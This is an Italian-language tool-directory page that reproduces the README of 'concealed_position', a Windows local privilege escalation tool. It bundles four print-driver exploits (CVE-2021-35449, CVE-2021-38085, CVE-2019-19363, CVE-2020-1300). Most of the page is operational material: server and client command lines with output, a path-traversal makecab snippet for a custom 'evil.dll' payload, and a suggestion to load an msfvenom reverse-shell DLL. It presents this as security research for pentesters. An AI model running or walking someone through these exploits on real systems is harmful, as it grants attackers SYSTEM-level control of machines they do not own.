Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
concealed_position — Strumento di escalation dei privilegi con driver di stampa personalizzato | Kitploit
Strumenti/GitHubGitHub/jacob-baines/concealed_position
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration Testing
GitHubjacob-baines/concealed_position

concealed_position

Strumento di escalation dei privilegi con driver di stampa personalizzato

Vedi Repository
263445 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Posizione Nascosta

Posizione Nascosta è un attacco di escalation dei privilegi locale contro Windows che utilizza il concetto di "Bring Your Own Vulnerability". Nello specifico, Posizione Nascosta (CP) sfrutta la logica as designed di pacchetto e stampa punto a punto in Windows che consente a un utente con bassi privilegi di organizzare e installare driver di stampa. CP installa in particolare driver con vulnerabilità note che vengono poi sfruttate per escalare a SYSTEM. Posizione Nascosta è stato presentato per la prima volta al DEF CON 29.

Quali exploit sono disponibili

Posizione Nascosta offre quattro exploit - tutti con nomi altrettanto stupidi:

  • ACIDDAMAGE - CVE-2021-35449 - Lexmark Universal Print Driver LPE
  • RADIANTDAMAGE - CVE-2021-38085 - Canon TR150 Print Driver LPE
  • POISONDAMAGE - CVE-2019-19363 - Ricoh PCL6 Print Driver LPE
  • SLASHINGDAMAGE - CVE-2020-1300 - Windows Print Spooler LPE

Gli exploit sono carini perché, oltre a SLASHINGDAMAGE, continueranno a funzionare anche dopo che i problemi sono stati patchati. L'unico meccanismo che Windows ha per impedire agli utenti di utilizzare driver vecchi è revocare il certificato del driver - cosa che storicamente non viene fatta(?).

Ma quale exploit dovrei usare?!

Probabilmente ACIDDAMAGE. RADIANTDAMAGE e POISONDAMAGE sono race condition (per sovrascrivere una DLL) e SLASHINGDAMAGE, si spera, sia patchato quasi ovunque.

Come funziona?

Posizione Nascosta ha due parti. Una stampante malvagia e un client. Il client contatta il server, prende un driver, lo fa memorizzare nel driver store, installa la stampante e sfrutta il processo di installazione. Facile! Nel linguaggio MSAPI, l'attacco funziona più o meno così:

root@kitploit:~
Step 1: Stage the driver in the driver store
client to server: GetPrinterDriver
server to client: Response with driver

Stage 2: Install the driver from the driver store
client: InstallPrinterDriverFromPackage

Stage 3: Add a local printer (exploitation stage)
client: Add printer

È importante notare che SLASHINGDAMAGE in realtà non funziona così. SLASHINGDAMAGE è un'implementazione dell'attacco della stampante malvagia descritto al DEFCON 28 (2020) ed è stato patchato da tempo. Mi capita solo di apprezzare l'attacco (ha scatenato il resto di questo sviluppo) e ho pensato di lasciare l'exploit nel mio server malvagio... per quanto possa essere confusionario.

È questa una vulnerabilità di Windows?

Discutibilmente, sì. Il driver store è una "collezione attendibile di ... pacchetti di driver di terze parti" che richiede accesso amministratore per essere modificata. Usando GetPrinterDriver un utente con bassi privilegi può organizzare driver arbitrari nello store. Questo, secondo me, supera un chiaro confine di sicurezza.

Microsoft sembrava d'accordo quando ha emesso CVE-2021-34481.

Anche se... è discutibile che questa sia semplicemente una funzionalità del sistema e non una vulnerabilità. In realtà non importa molto. Un attaccante può escalare a SYSTEM su installazioni Windows standard.

Quali versioni di Windows sono affette da CVE-2021-34481?

Almeno Windows 8.1 e successive.

Come si usano questi strumenti?

Semplice! Così semplice che ci saranno molti paragrafi per descriverlo!

Server CP

Prima, diamo un'occhiata alle opzioni della riga di comando di cp_server:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    server!

Opzioni CLI:
  -h, --help                     Mostra il messaggio di aiuto
  -e, --exploit arg              L'exploit da utilizzare
  -c, --cabs arg (=.\cab_files)  La posizione dei file cabinet

Exploit disponibili:
        ACIDDAMAGE
        POISONDAMAGE
        RADIANTDAMAGE
        SLASHINGDAMAGE

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Sopra puoi vedere che il server richiede due opzioni:

  1. L'exploit per configurare la stampante
  2. Un percorso per i file cab_files di questo repository (.\cab_files\ è il default)

Ad esempio, supponiamo di voler configurare una stampante malvagia che serva il driver ACIDDAMAGE. Basta fare così:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    server!

[+] Creazione spazio temporaneo...
[+] Estrazione .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Inserimento nel driver store
[+] Pulizia spazio tmp
[+] Installazione driver di stampa
[+] Driver installato!
[+] Installazione stampante condivisa
[+] Stampante condivisa installata!
[+] Automazione completata.
[!] PASSAGGI MANUALI IMPORTANTI!
[0] In Impostazioni di condivisione avanzate, disattiva Condivisione protetta da password.
[1] Pronto per partire!

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Ecco fatto, vedrai una nuova stampante nel tuo sistema:

root@kitploit:~
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer

Name                           ComputerName    Type         DriverName                PortName        Shared   Publishe
                                                                                                               d
----                           ------------    ----         ----------                --------        ------   --------
ACIDDAMAGE                                     Local        Lexmark Universal v2      LPT1:           True     False
CutePDF Writer                                 Local        CutePDF Writer v4.0       CPW4:           False    False
OneNote for Windows 10                         Local        Microsoft Software Pri... Microsoft.Of... False    False
Microsoft XPS Document Writer                  Local        Microsoft XPS Document... PORTPROMPT:     False    False
Microsoft Print to PDF                         Local        Microsoft Print To PDF    PORTPROMPT:     False    False
Fax                                            Local        Microsoft Shared Fax D... SHRFAX:         False    False


PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Nota che c'è un passaggio manuale che cp_server ti chiede di fare. Poiché sono un hacker scarso, non sono riuscito a capire come impostare programmaticamente "Impostazioni di condivisione avanzate" -> "Disattiva condivisione protetta da password". Dovrai farlo tu!

Il processo per usare SLASHINGDAMAGE è leggermente diverso. Dovrai prima installare CutePDF Writer (trova gli installer nella directory di terze parti). Poi esegui cp_server e poi dovrai comunque seguire un paio di passaggi manuali e riavviare.

Client CP

Il client è altrettanto facile da usare. Diamo un'occhiata alle sue opzioni della riga di comando:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

Opzioni CLI:
  -h, --help         Mostra il messaggio di aiuto
  -r, --rhost arg    L'indirizzo remoto della stampante malvagia
  -n, --name arg     Il nome remoto della stampante malvagia
  -e, --exploit arg  L'exploit da utilizzare
  -l, --local        Nessuna stampante remota. Solo attacco locale.
  -d, --dll arg      Percorso alla DLL fornita dall'utente da eseguire.

Exploit disponibili:
        ACIDDAMAGE
        POISONDAMAGE
        RADIANTDAMAGE

Prima, vorrei parlare dell'opzione --dll. Il client ha un payload incorporato che scrive semplicemente il file C:\result.txt. Tuttavia, gli utenti possono fornire la propria DLL tramite questa opzione. Un buon esempio di qualcosa che potresti voler usare è una reverse shell x64 prodotta da msfvenom. Ma per il resto assumeremo il payload incorporato.

cp_client ha due modalità: remota e locale. L'opzione remota è la più interessante perché aggiunge il driver vulnerabile al driver store (eseguendo così la vulnerabilità bring your own print driver), quindi andremo prima con quella. Diciamo che voglio riconnettermi alla stampante malvagia ACIDDAMAGE che abbiamo configurato in precedenza. Devo solo fornire:

  1. L'exploit che voglio usare
  2. L'indirizzo IP della stampante malvagia
  3. Il nome della stampante condivisa malvagia

Così!

root@kitploit:~
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
_______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
_______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

[+] Controllo se il driver è già installato
[-] Driver non disponibile.
[+] Richiamata stampante malvagia @ \\10.0.0.9\ACIDDAMAGE
[+] Inserimento driver nel driver store
[+] Installazione del driver inserito
[+] Driver installato!
[+] Avvio AcidDamage
[+] Controllo se C:\ProgramData\Lexmark Universal v2\ esiste
[-] Directory target non esiste. Attiva installazione.
[+] Installazione stampante
[+] Lettura di C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Ricerca contenuto file
[+] Aggiornamento contenuto file
[+] Rilascia gpl aggiornato
[+] Rilascia Dll.dll su disco
[+] Inserimento dll in c:\tmp
[+] Installazione stampante
[!] Mucho success!

Ecco fatto! Per eseguire un attacco solo locale, devi solo fornire l'exploit:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
_______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
_______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

[+] Controllo se il driver è già installato
[+] Driver installato!
[+] Avvio AcidDamage
[+] Controllo se C:\ProgramData\Lexmark Universal v2\ esiste
[-] Directory target non esiste. Attiva installazione.
[+] Installazione stampante
[+] Lettura di C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Ricerca contenuto file
[+] Aggiornamento contenuto file
[+] Rilascia gpl aggiornato
[+] Rilascia Dll.dll su disco
[+] Inserimento dll in c:\tmp
[+] Installazione stampante
[!] Mucho success!

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Perché il client non ha un'opzione SLASHINGDAMAGE?

SLASHINGDAMAGE non ha bisogno di un client speciale per lo sfruttamento. Puoi semplicemente usare l'interfaccia utente o la riga di comando per connetterti alla stampante remota e basta! Sfortunatamente, se vuoi creare un payload personalizzato dovrai aggiornare il CAB nella directory cab_files. Ma è facile. Qualcosa del genere:

root@kitploit:~
echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab

È probabilmente importante sapere che la versione di SLASHINGDAMAGE nel repository rilascia ualapi.dll in SYSTEM32 e, quando eseguita al riavvio, rilascia il file C:\result.txt.

Pull Request e Bug

Vuoi inviare una pull request o segnalare un bug? Ottimo! Lo apprezzo, ma se non fornisci dettagli sufficienti per riprodurre un bug o spiegare perché una pull request dovrebbe essere accettata, allora c'è una probabilità del 100% che chiuderò il tuo issue senza commento. Ti apprezzo, ma sono anche piuttosto impegnato.

Altre cose

Una cosa da notare è che la DLL inject_me è effettivamente incorporata in cp_client come array C. Se aggiorni inject_me, dovrai aggiornare manualmente anche l'array C (basta usare xxd per generare l'array).

Scarica lo strumento